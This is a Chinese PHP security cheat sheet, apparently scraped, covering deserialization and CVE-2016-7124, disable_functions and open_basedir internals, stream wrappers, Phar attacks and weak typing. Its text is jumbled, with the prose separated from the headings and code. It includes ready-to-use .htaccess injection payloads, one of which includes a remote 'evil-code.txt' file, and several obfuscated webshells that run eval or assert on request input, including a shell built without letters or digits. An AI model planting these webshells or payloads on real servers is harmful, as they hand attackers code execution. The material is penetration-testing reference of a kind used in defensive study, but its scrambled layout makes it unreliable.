利用 auto_prepend_file 和 include_path .user.ini可运行于所有以fastcgi运行的server。 利用方式同php.ini PHP序列化处理共有三种,分别为php_serialize、php_binary和WDDX(需要编译时开启支持),默认为php_serialize,可通过配置中的 其中PHP处理器的格式为:键名 + 竖线 + 经过serialize()函数序列化处理的值。 其中php_binary处理器的格式为:键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值。 其中php_serialize处理器的格式为:经过serialize()函数序列化处理的数组。 其中php_serialize的实现在 boolean integer double NULL string array object reference php在反序列化的时候会调用 另外 其中 下面提供一个简单的demo. 输出 把序列化的字符串修改一下后,执行 输出 这里看到,值被修改了. 上面是一个 那么,在 但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload 输出 这里wakeup被绕过,值依旧被修改了。 在PHP 5.6.25 之前版本和 7.0.10 之前的版本,当对象的属性(变量)数大于实际的个数时, PHP中Disable Function的实现是在php-src/Zend/Zend-API.c中。PHP在启动时,读取配置文件中禁止的函数,逐一根据禁止的函数名调用 这个函数根据函数名在内置函数列表中找到对应的位置并修改掉,当前版本的代码如下: 和函数的实现方式类似,disable classes也是这样实现的 因为这个实现机制的原因,在PHP启动后通过 LD_PRELOAD绕过 PHP OPcache Mail函数 imap_open PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中,实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内,其中一部分实现代码如下: 可通过 可通过 可通过 PHP的Session默认handler为文件,存储在 php.ini 的 PHP默认开启 那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。 流(Streams)的概念是在php 4.3引入的,是对流式数据的抽象,用于统一数据操作,比如文件数据、网络数据、压缩数据等。 流可以通过file、open、fwrite、fclose、file_get_contents、 file_put_contents等函数操作。 PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。支持的协议可用 PHP 提供了一些输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。 需要注意的是,流不受 其中 php://fd 允许直接访问指定的文件描述符。例如 filter有resource, read, write三个参数,resource参数是必须的。它指定了你要筛选过滤的数据流。 read和write是可选参数,可以设定一个或多个过滤器名称,以管道符(|)分隔。 可以通过 字符串过滤器 转换过滤器 压缩过滤器 加密过滤器 php_value auto_append_file /etc/hosts GLOBALS 拆分 动态函数执行 create_function preg_replace rot13 base64 进制转化 利用文件名 基于少见函数 基于污染传播 基于少见源 PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。 <?=`{${~”xa0xb8xbaxab”}[~”xa0″]}`; Phar(PHP Archive)文件是一种打包格式,将PHP代码文件和其他资源放入一个文件中来实现应用程序和库的分发。 在来自Secarma的安全研究员Sam Thomas在18年的Black Hat上提出后利用方式后,开始受到广泛的关注。 Phar可利用是因为Phar以序列化的形式存储用户自定义的meta-data,而以流的形式打开的时候,会自动反序列化,从而触发对应的攻击载荷。 Phar由四个部分组成,分别是 manifest 包含压缩文件的权限、属性、序列化形式存储的meta-data等信息,这是攻击的核心部分,主要就是解析Phar时对meta-data的反序列化。 phar的实现在 而php在文件流处理过程中会调用 目前已知部分的触发函数有: fileatime / filectime / filemtime /stat / fileinode / fileowner / filegroup / fileperms / file / file_get_contents / readfile / fopen / file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable / parse_ini_file / unlink / copy / exif_thumbnail / exif_imagetype / imageloadfont / imagecreatefrom*** / hash_hmac_file / hash_file / hash_update_file / md5_file / sha1_file / get_meta_tags / get_headers / getimagesize / getimagesizefromstring eval assert call_user_func php中并不是用高精度来存储浮点数,而是用使用 IEEE 754 双精度格式,造成在涉及到浮点数比较的时候可能会出现预期之外的错误。 比如 如果使用 另外在判断一些hash时,如果传入的是数组,返回值会为 同样的, preg_replace 第一个参数是//e的时候,第二个参数会被当作命令执行 PHP字符存在截断行为,可以使用 当使用 phpinfo可访问时,可以看到上传的临时文件的路径,从而实现LFI。 – php open basedir bypass – php wrappers – PHP htaccess inject – US Black Hat 2018 Phar内容索引:
5.1. PHP
5.1.1. 后门
5.1.1.1. php.ini构成的后门
5.1.1.2. .user.ini文件构成的PHP后门
5.1.2. 反序列化
5.1.2.1. PHP序列化实现
session.serialize_handler
修改。php-src/ext/standard/var.c
中,主要函数为 php_var_serialize_intern
,序列化后的格式如下:
b:<value>;
b:1;
// trueb:0;
// false
i:<value>;
d:<value>;
N;
s:<length>:"<value>";
s:1:"s";
a:<length>:{key, value};
a:1:{s:4:"key1";s:6:"value1";}
// array("key1" => "value1");
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
R:reference;
O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}
$a = new A();$a->a=1;$a->b=&$a->a;
5.1.2.2. PHP反序列化漏洞
__wakeup
/ __sleep
等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。__toString
/ __call
两个函数也有利用的可能。__wakeup
在反序列化时被触发,__destruct
在GC时被触发, __toString
在echo时被触发,__call
在一个未被定义的函数调用时被触发。class Demo { public $data; public function __construct($data) { $this->data = $data; echo "construct<br />"; } public function __wakeup() { echo "wake up<br />"; } public function __destruct() { echo "Data's value is $this->data. <br />"; echo "destruct<br />"; } } var_dump(serialize(new Demo("raw value")));
construct Data's value is raw value. destruct string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"
unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
wake up Data's value is malicious value. destruct
unserialize()
的简单应用,不难看出,如果 __wakeup()
或者__desturct()
有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。__wakeup()
中加入判断是否可以阻止这个漏洞呢? 在__wakeup()
中我们加入一行代码public function __wakeup() { if($this->data != 'raw value') $this->data = 'raw value'; echo "wake up<br />"; }
unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');
Data's value is malicious value. destruct
5.1.2.3. 相关CVE
5.1.2.3.1. CVE-2016-7124
__wakeup()
不会被执行。5.1.3. Disable Functions
5.1.3.1. 机制实现
zend_disable_function
来实现禁止的效果。ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {{{ */ { zend_internal_function *func; if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) { zend_free_internal_arg_info(func); func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE); func->num_args = 0; func->arg_info = NULL; func->handler = ZEND_FN(display_disabled_function); return SUCCESS; } return FAILURE; }
ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */ { zend_class_entry *disabled_class; zend_string *key; key = zend_string_alloc(class_name_length, 0); zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length); disabled_class = zend_hash_find_ptr(CG(class_table), key); zend_string_release_ex(key, 0); if (!disabled_class) { return FAILURE; } INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new); disabled_class->create_object = display_disabled_class; zend_hash_clean(&disabled_class->function_table); return SUCCESS; }
ini_set
来修改 disable_functions
或 disable_classes
是无效的。5.1.3.2. Bypass
5.1.4. Open Basedir
5.1.4.1. 机制实现
PHPAPI int php_check_open_basedir_ex(const char *path, int warn) { /* Only check when open_basedir is available */ if (PG(open_basedir) && *PG(open_basedir)) { char *pathbuf; char *ptr; char *end; /* Check if the path is too long so we can give a more useful error * message. */ if (strlen(path) > (MAXPATHLEN - 1)) { php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path); errno = EINVAL; return -1; } pathbuf = estrdup(PG(open_basedir)); ptr = pathbuf; while (ptr && *ptr) { end = strchr(ptr, DEFAULT_DIR_SEPARATOR); if (end != NULL) { *end = ' '; end++; } if (php_check_specific_open_basedir(ptr, path) == 0) { efree(pathbuf); return 0; } ptr = end; } if (warn) { php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir)); } efree(pathbuf); errno = EPERM; /* we deny permission to open it */ return -1; } /* Nothing to check... */ return 0; }
5.1.5. 安全相关配置
5.1.5.1. 函数与类限制
disable_functions
/ disable_classes
限制PHP可调用的函数和类。5.1.5.2. 目录访问限制
open_basedir
限制PHP可访问的目录。5.1.5.3. 远程引用限制
all_url_include
限制远程文件包含,默认关闭。 可通过 allow_url_fopen
限制打开远程文件,默认开启。5.1.5.4. Session
5.1.5.4.1. Session.Save
session.save_path
中,若有任意读写文件的权限,则可修改或读取session。从phpinfo中可获得session位置。5.1.5.4.2. Session.Upload
session.upload_progress.enabled
, 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。5.1.6. PHP流
5.1.6.1. 简介
5.1.6.2. 封装协议
stream_get_wrappers()
查看。
file://
访问本地文件系统https://
访问 HTTP(s) 网址ftp://
访问 FTP(s) URLsphp://
访问各个输入/输出流(I/O streams)zlib://
压缩流data://
数据(RFC 2397)glob://
查找匹配的文件路径模式phar://
PHP 归档ssh2://
Secure Shell 2rar://
RARogg://
音频流expect://
处理交互式的流5.1.6.3. PHP支持流
allow_url_fopen
限制,但是 php://input
、 php://stdin
、 php://memory
和php://temp
受限于 allow_url_include
。5.1.6.3.1. 输入输出流
php://stdin
、 php://stdout
和 php://stderr
允许直接访问 PHP 进程相应的输入或者输出流。数据流引用了复制的文件描述符,所以如果在打开 php://stdin
并在之后关了它,仅是关闭了复制品,真正被引用的 STDIN 并不受影响。php://stdin
是只读的,php://stdout
和 php://stderr
是只写的。5.1.6.3.2. fd
php://fd/3
引用了文件描述符 3。5.1.6.3.3. memory与temp
php://memory
和 php://temp
是一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory
总是把数据储存在内存中,而 php://temp
会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir()
的方式一致。php://temp
的内存限制可通过添加 /maxmemory:NN
来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。5.1.6.3.4. input
php://input
是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input
来代替 $HTTP_RAW_POST_DATA
,因为它不依赖于特定的 php.ini 指令。而且,这样的情况下 $HTTP_RAW_POST_DATA
默认没有填充,比激活 always_populate_raw_post_data
潜在需要更少的内存。 enctype="multipart/form-data"
的时候 php://input
是无效的。5.1.6.4. filter
php://filter
是一种元封装器,设计用于数据流打开时的筛选过滤应用。PHP默认提供了一些流过滤器,除此之外,还可以使用各种自定义过滤器。5.1.6.4.1. 过滤器列表
stream_get_filters()
获取已经注册的过滤器列表。其中PHP内置的过滤器如下:
mcrypt.``ciphername`` mdecrypt.``ciphername``
5.1.6.4.2. 过滤器利用tricks
php://filter/convert.base64-encode/resource=index.php
5.1.7. htaccess injection payload
5.1.7.2. code execution
php_value auto_append_file .htaccess #<?php phpinfo();
5.1.7.3. file inclusion
php_flag allow_url_include 1 php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B #php_value auto_append_file https://sektioneins.de/evil-code.txt
5.1.7.4. code execution with UTF-7
php_flag zend.multibyte 1 php_value zend.script_encoding "UTF-7" php_value auto_append_file .htaccess #+ADw?php phpinfo()+ADs
5.1.7.5. Source code disclosure
php_flag engine 0
5.1.8. WebShell
5.1.8.1. 常见变形
eval($GLOBALS['_POST']['op']);
$_FILE
eval($_FILE['name']);
assert(${"_PO"."ST"} ['sz']);
$k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
– – "x62x61163x65x36x34137144145x63x6f144145"
__FILE__
5.1.8.2. Bypass
mb_eregi_replace('.*',$_GET[1],'','e');
putenv($_GET["c"]);eval(getenv('path'));
$a = filter_input(INPUT_GET,'c');
eval(end(getallheaders()));
5.1.8.3. 字符串变形函数
5.1.8.4. 回调函数
5.1.8.5. 特殊字符Shell
@$_++; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); @${$__}[!$_](${$__}[$_]);
$_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___(base64_decode($_[_]));
5.1.9. Phar
5.1.9.1. 简介
5.1.9.2. Phar文件结构
stub
/ manifest
/ 文件内容 / 签名。 stub 需要 __HALT_COMPILER();
这个调用在PHP代码中。5.1.9.3. 原理
php-src/ext/phar/phar.c
中,主要是 phar_parse_metadata
函数在解析phar文件时调用了 php_var_unserialize
,因而造成问题。_php_stream_stat_path
(/main/streams/streams.c) ,而后间接调用 phar_wrapper_stat
,所以大量的文件操作函数都可以触发phar的反序列问题。5.1.10. Sink
5.1.10.1. 任意代码执行
5.1.10.2. 执行系统命令
5.1.10.3. Magic函数
__construct()
构建对象的时被调用__destruct()
销毁对象或脚本结束时被调用__call()
调用不可访问或不存在的方法时被调用__callStatic()
调用不可访问或不存在的静态方法时被调用__get()
读取不可访问或不存在属性时被调用__set()
给不可访问或不存在属性赋值时被调用__isset()
对不可访问或不存在的属性调用 isset 或 empty() 时被调用__unset()
对不可访问或不存在的属性进行 unset
时被调用__sleep()
对象序列化时被调用__wakeup()
对象反序列化时被调用__toString()
当一个类被转换成字符串时被调用__invoke()
对象被以函数方式调用时被调用__set_state()
调用 var_export()
导出类时被调用__clone()
进行对象clone时被调用__debugInfo()
调用var_dump()
打印对象时被调用5.1.10.4. 文件相关敏感函数
move_uploaded_file
file_put_contents
/ file_get_contents
unlink
fopen
/fgets
5.1.10.5. SSRF
file_get_contents()
fsockopen()
curl_exec()
fopen()
readfile()
5.1.11. 其它
5.1.11.1. 低精度
php -r "var_dump(0.2+0.7==0.9);"
这行代码的输出是 bool(false)
而不是 bool(true)
。这在一些情况下可能出现问题。5.1.11.2. 弱类型
==
来判断相等,则会因为类型推断出现一些预料之外的行为,比如magic hash,指当两个md5值都是0e[0-9]{30}
的时候,就会认为两个hash值相等。 另外在判断字符串和数字的时候,PHP会自动做类型转换,那么 1=="1a.php"
的结果会是trueNULL
, 因此在判断来自网络请求的数据的哈希值时需要先判断数据类型。strcmp() ereg() strpos()
这些函数在处理数组的时候也会异常,返回NULL。5.1.11.3. 命令执行
5.1.11.4. 截断
ereg
/ %00
/ iconv
等实现php字符截断的操作,从而触发漏洞。5.1.11.5. 变量覆盖
extract
/ parse_str
等函数时,或者使用php的$$
特性时,如果没有正确的调用,则可能使得用户可以任意修改变量。5.1.11.6. php特性
urlencode
和RFC3896存在一定的不同,PHP另外提供了 rawurlencode
对RFC3896完成标准的实现5.1.11.7. /tmp临时文件竞争
5.1.12. 参考链接
5.1.12.1. Bypass
– open basedir bypass
– Bypass Disable functions Shell5.1.12.2. Tricks
– 反序列化之PHP原生类的利用
– php解密的数种方法
– Surprising CTF task solution using php://filter
– 主机安全 洋葱Webshell检测实践与思考5.1.12.3. WebShell
– php木马加密
– PHP WebShell变形技术总结
– 一些不包含数字和字母的webshell5.1.12.4. Phar
– 利用 phar 拓展 php 反序列化漏洞攻击面
– Phar与Stream Wrapper造成PHP RCE的深入挖掘5.1.12.5. 运行
本网页所有视频内容由 imoviebox边看边下-网页视频下载, iurlBox网页地址收藏管理器 下载并得到。
ImovieBox网页视频下载器 下载地址: ImovieBox网页视频下载器-最新版本下载
本文章由: imapbox邮箱云存储,邮箱网盘,ImageBox 图片批量下载器,网页图片批量下载专家,网页图片批量下载器,获取到文章图片,imoviebox网页视频批量下载器,下载视频内容,为您提供.
阅读和此文章类似的: 全球云计算